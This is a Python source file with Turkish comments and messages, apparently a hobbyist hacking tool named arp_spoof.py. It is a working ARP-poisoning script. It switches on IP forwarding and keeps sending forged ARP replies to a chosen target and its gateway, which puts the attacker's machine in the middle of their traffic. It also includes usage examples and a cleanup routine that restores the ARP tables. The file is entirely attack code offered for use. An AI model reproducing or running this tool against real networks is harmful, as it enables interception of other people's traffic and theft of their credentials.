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arp_spoof.py
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arp_spoof.py
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#!/usr/bin/env python 3.7.2
# -*- coding: utf-8 -*-
import scapy.all as scapy
import time
import argparse
from termcolor import colored
import os
class ArpSpoof():
def __init__(self):
self.gonderilen_paket_sayisi=0
self.about()
self.script_desc()
def arguman_al(self):
parser = argparse.ArgumentParser(description=self.description,epilog=self.kullanim,prog=self.program,formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument("--hedef",dest="hedefIP",help="Hedef makine IP adresi")
parser.add_argument("--gateway",dest="gatewayIP",help="Gateway IP adresi")
options=parser.parse_args()
if not options.hedefIP:
parser.error('[-] Lütfen bir hedef belirleyiniz,daha fazla bilgi için --help kullanın.')
elif not options.gatewayIP:
parser.error("[-] Lütfen gateway(varsayılan ağ gecidi) giriniz,daha fazla bilgi için --help kullanın.")
else:
return options
def mac_bul(self,ip):
arp_istek=scapy.ARP(pdst=ip)
broadcast=scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast=broadcast/arp_istek
answered_list=scapy.srp(arp_request_broadcast,timeout=1,verbose=False)[0]
return answered_list[0][1].hwsrc
def spoof(self,hedef_ip,gateway_ip):
hedef_mac=self.mac_bul(hedef_ip)
paket=scapy.ARP(op=2,pdst=hedef_ip,hwdst=hedef_mac,psrc=gateway_ip)
scapy.send(paket,verbose=False)
def send_packet(self,hedefIP,gatewayIP):
while True:
self.spoof(hedefIP, gatewayIP)
self.spoof(gatewayIP, hedefIP)
self.gonderilen_paket_sayisi += 2
print(colored("\r[+] gönderilen paket sayısı:" + str(self.gonderilen_paket_sayisi),"green"),end="")
time.sleep(2)
def restore(self,hedef_ip,gateway_ip):
hedef_mac=self.mac_bul(hedef_ip)
gateway_mac=self.mac_bul(gateway_ip)
paket=scapy.ARP(op=2,pdst=hedef_ip,hwdst=hedef_mac,psrc=gateway_ip,hwsrc=gateway_mac)
scapy.send(paket,verbose=False,count=4)
def ip_forward(self,value):
if value==1:
os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
elif value==2:
os.system('echo 0 > /proc/sys/net/ipv4/ip_forward')
def script_desc(self):
self.program = "arp_spoof"
self.kullanim ="""Kullanim: python arp_spoof.py --hedef HEDEFIP --gateway GATEWAY\nOrnek Kullanim: python arp_spoof.py --hedef 10.0.2.15 --gateway 10.0.2.1"""
self.description = "Aynı ağda bulunan hedef bilgisayar üzerinde ARP zehirlemesi yapmak için kullanılan bir scripttir."
def about(self):
print(colored(" _ ____ ____ ____ ____ ___ ___ _____ _____ ____ ", "green"))
print(colored(" / \ | _ \| _ \ / ___|| _ \ / _ \ / _ \| ___| ____| _ \ ", "green"))
print(colored(" / _ \ | |_) | |_) | \___ \| |_) | | | | | | | |_ | _| | |_) |", "green"))
print(colored(" / ___ \| _ <| __/ ___) | __/| |_| | |_| | _| | |___| _ < ", "green"))
print(colored("/_/ \_\_| \_\_| |____/|_| \___/ \___/|_| |_____|_| \_ ", "green"))
print(colored("# ==============================================================================", "green"))
print(colored("# author :", "green") + "Mustafa Dalga")
print(colored("# linkedin :", "green") + "https://www.linkedin.com/in/mustafadalga")
print(colored("# github :", "green") + "https://github.com/mustafadalga")
print(colored("# title :", "green") + "arp_spoof.py")
print(colored("# description :", "green") + "Aynı ağda bulunan hedef bilgisayar üzerinde ARP zehirlemesi yapmak için kullanılan bir scripttir.")
print(colored("# date :", "green") + "22.02.2019")
print(colored("# version :", "green") + "1.0")
print(colored("# python_version:", "green") + "3.7.2")
print(colored("# ==============================================================================", "green"))
def keyboardinterrupt_message(self):
print(colored("\n[-] CTRL+C basıldı.ARP tablosu sıfırlanıyor... Lütfen bekleyiniz...","red"))
print(colored("[-] Uygulamadan çıkış yapıldı!","red"))
try:
arpSpoof=ArpSpoof()
arpSpoof.ip_forward(1)
options =arpSpoof.arguman_al()
arpSpoof.send_packet(options.hedefIP, options.gatewayIP)
except KeyboardInterrupt:
arpSpoof.keyboardinterrupt_message()
arpSpoof.ip_forward(0)
arpSpoof.restore(options.hedefIP,options.gatewayIP)